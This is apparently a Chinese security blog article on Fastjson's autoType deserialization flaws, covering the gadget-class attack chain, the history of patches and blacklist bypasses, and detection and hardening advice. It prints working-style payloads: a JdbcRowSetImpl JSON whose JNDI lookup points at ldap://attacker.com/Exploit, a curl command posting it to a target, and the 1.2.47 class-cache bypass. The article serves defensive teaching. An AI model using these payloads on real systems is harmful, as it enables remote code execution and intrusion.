网络安全

Java 反序列化攻击面(二):Fastjson 的 autoType 与"修复 vs 绕过"拉锯战

2026-08-19 #网络安全#Java#反序列化#漏洞分析#RCE#Fastjson

一个”为了方便”的自动类型解析功能,让 Fastjson 成了黑灰产和 APT 组织的头号目标。
它的漏洞修复史,是一场长达数年的”修复 vs 绕过”军备竞赛——黑名单加了一条又一条,绕过却从未停止。


引言:库的”自动类型”之罪

在 Java 的 JSON 解析世界里,Fastjson 是一个传奇——它由阿里巴巴开源,以”极快”著称,被全球海量 Java 应用(尤其电商、互联网、政务系统)广泛使用。

但成也”快”,败也”快”。Fastjson 为了性能和便利,提供了一个叫 autoType 的功能,而这个功能,成了它挥之不去的噩梦:

一个 @type 字段,就能让 Fastjson “自动加载并实例化任意类”——而这,几乎等同于把”执行任意代码”的能力交给了攻击者。

一句话定义它:

Fastjson 的反序列化漏洞 = “自动类型解析”这个便捷功能,被证明是一把”交给攻击者的钥匙”。


一、autoType 是什么?为什么它如此危险?

1.1 正常的 JSON 解析

正常情况下,JSON 解析是把 JSON 文本转成对象:

1
2
// 正常用法:把 JSON 转成指定类型的对象
User user = JSON.parseObject("{\"name\":\"张三\",\"age\":20}", User.class);

1.2 autoType 的”便捷”设计

但 Fastjson 为了支持”多态“(即 JSON 里声明了具体子类型),允许 JSON 里带一个 @type 字段,Fastjson 会根据这个字段自动加载对应的类:

1
2
// 带 @type 的 JSON:Fastjson 会尝试加载 com.example.Evil 类
{"@type":"com.example.Evil","cmd":"whoami"}

1.3 危险何在?

关键问题:如果 @type 的值能被攻击者控制,那么 Fastjson 就会:

  1. 读取 @type 指定的类名;
  2. 通过 Class.forName() 加载这个类;
  3. 实例化它,并调用其 setter / 构造方法。

而 Java 生态里,存在大量”一旦被实例化或调用 setter,就会执行危险操作“的类(即 gadget)。攻击者只需在 JSON 里指定这些类的名字,就能触发任意代码执行。

1
2
3
4
5
6
7
攻击者提交 {"@type":"恶意gadget类","...":"..."}
↓
应用调用 JSON.parseObject(json)
↓
Fastjson 的 autoType 加载恶意类
↓
触发 gadget 的 setter/构造方法 → RCE

二、代码级攻击链:从恶意 JSON 到 RCE

下面还原一条完整的 Fastjson 攻击链(脱敏,仅供安全教育):

2.1 第一步:寻找可用的 gadget 类

Fastjson 的攻击,关键在于找到一个”在 setter 或构造方法中执行危险操作“的类。历史上被利用的 gadget 类包括:

  • com.sun.rowset.JdbcRowSetImpl(早期经典)
  • org.springframework.context.support.ClassPathXmlApplicationContext(Spring 环境)
  • com.mchange.v2.c3p0(数据库连接池)
  • org.apache.ibatis.datasource.jndi.JndiDataSourceFactory(MyBatis 环境)

2.2 第二步:构造恶意 JSON(以 JdbcRowSetImpl 为例)

1
2
3
4
5
6
// 概念示例:利用 JdbcRowSetImpl 触发 JNDI 注入(脱敏,仅供安全教育)
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}

攻击链原理:

  • Fastjson 反序列化 JdbcRowSetImpl 时,会调用其 setDataSourceName() 和 setAutoCommit()。
  • setAutoCommit(true) 内部会触发 connect(),进而用 dataSourceName 的值发起 JNDI lookup。
  • 于是 ldap://attacker.com/Exploit 被加载 → 远程恶意类被执行 → RCE。

注意:这条链最终指向 JNDI 注入,与 Log4Shell(${jndi:...})殊途同归——JNDI 是 Java 生态的”万能跳板”。

2.3 第三步:发送恶意请求

1
2
3
4
# 概念示例:向存在 Fastjson 反序列化点的接口发送恶意 JSON(脱敏)
curl -X POST http://target.com/api/parse \
-H "Content-Type: application/json" \
-d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}'

2.4 第四步:获得 RCE

1
2
3
4
5
6
7
Fastjson 解析 JSON → 加载 JdbcRowSetImpl
↓
调用 setAutoCommit(true) → 触发 JNDI lookup
↓
加载攻击者 LDAP 服务器上的恶意类
↓
恶意类 static 代码块执行 → RCE

三、”修复 vs 绕过”拉锯战:Fastjson 的漏洞史

Fastjson 的修复历史,是 Java 生态最著名的”攻防军备竞赛“:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
阶段1(2017):autoType 默认开启,漏洞爆发
↓
修复1:默认禁用 autoType + 黑名单
↓
绕过1:攻击者找到黑名单之外的 gadget 类
↓
修复2:扩充黑名单
↓
绕过2:新的 gadget 类被挖掘(如 c3p0、MyBatis)
↓
修复3:继续扩充黑名单 + 引入白名单机制
↓
绕过3:绕过 autoType 检测的新手法(如 expectClass、mappings)
↓
…… 至今仍在持续

关键漏洞年表

时间 版本 关键点
2017 fastjson 1.2.24 首次公开 autoType 漏洞(JdbcRowSetImpl)
2019 1.2.47 历史性绕过:通过 java.lang.Class 缓存绕过黑名单
2020 1.2.68 autoType 默认关闭,但 expectClass 等新绕过出现
2022 1.2.83 安全模式 safeMode 推出
至今 持续更新 黑名单不断扩充,但绕过仍在继续

1.2.47 的经典绕过(值得深挖)

2019 年的 1.2.47 绕过是 Fastjson 漏洞史上最有名的案例之一:

  • Fastjson 修复 1.2.24 后,用黑名单拦截了已知的恶意类名。
  • 但攻击者发现:通过 @type 指定 java.lang.Class,再配合 @type 指向恶意类,可以利用 Fastjson 的类缓存机制绕过黑名单。
1
2
3
4
5
6
7
8
9
10
11
// 概念示例:1.2.47 绕过手法(脱敏,仅供安全教育)
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}
// 第二步:利用已缓存的类,绕过黑名单加载
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}

这次绕过的意义在于:它证明了**”黑名单”这种防御方式,本质上是被动的、注定会被绕过的**。这也是 Fastjson 最终引入”白名单”和”安全模式”的根本原因。


四、为什么 Fastjson 这么难修复?

4.1 黑名单的”天生缺陷”

  • 黑名单只能拦截”已知”的恶意类,而 Java 生态的 gadget 类源源不断地被发现。
  • 只要有一个”漏网之鱼”的类存在于 classpath,黑名单就形同虚设。

4.2 autoType 的”刚需”矛盾

  • 很多业务确实需要 autoType 来支持多态反序列化。
  • 完全禁用会影响功能,于是开发者往往”睁一只眼闭一只眼”地开启它。

4.3 依赖环境的”因人而异”

  • Fastjson 的漏洞能否利用,取决于目标应用的 classpath 里有哪些 gadget 类。
  • 同一个 Fastjson 版本,在不同环境下的可利用性完全不同——这增加了修复和检测的复杂度。

五、检测与防御:如何守住 Fastjson?

5.1 检测维度

检测点 方法
请求体是否含 @type 字段 WAF 规则、日志审计
是否出现 Class.forName 的异常调用 RASP
是否出站到 LDAP/RMI(1389/1099/389) 网络流量监控
Fastjson 版本是否老旧 依赖扫描(SCA)

5.2 防御建议

  1. 升级到安全版本:使用最新版 fastjson,或迁移到 fastjson2。
  2. 开启安全模式:
1
2
// 推荐:全局开启安全模式,彻底禁用 autoType(脱敏示例)
ParserConfig.getGlobalInstance().setSafeMode(true);
  1. 使用白名单:如确需 autoType,配置白名单,只允许可信类。
  2. 依赖最小化:移除不需要的 gadget 库(如 c3p0、MyBatis JNDI 等)。
  3. 运行时防护(RASP):监控并阻断 Class.forName、JNDI lookup 等敏感调用。
  4. WAF 拦截:拦截含 @type 的可疑 JSON 请求。

5.3 一个实用的检测命令

1
2
# 概念示例:检索日志中可疑的 @type 请求(脱敏)
grep -rE '"@type"' /var/log/应用日志/ | grep -iE "JdbcRowSet|ClassPathXml|c3p0|Jndi"

六、结语:便捷的代价

Fastjson 的故事,是一个典型的”便捷功能反噬“的故事:

autoType 为了”多态反序列化”的便利,把”加载任意类”的能力交给了输入数据。而一旦”任意类”能被外部控制,”任意代码执行”就只是时间问题。

对开发者而言,Fastjson 最深刻的教训是:任何”自动解析外部输入类型”的功能,都必须以”默认不信任”为前提——宁可牺牲一点便利,也不要把”加载任意类”的权力交出去。


参考资料

  • Fastjson 官方关于 autoType 安全机制的说明与安全公告
  • 关于 fastjson 1.2.47 绕过、autoType 黑名单机制的公开研究
  • 各安全厂商关于 Fastjson 漏洞利用的归因报告

本文基于公开资料整理撰写,仅供网络安全研究与教育目的使用,不构成任何安全或法律建议。


相关文章

本文是「Java 反序列化攻击面」系列的第二篇:


评论
分享

评论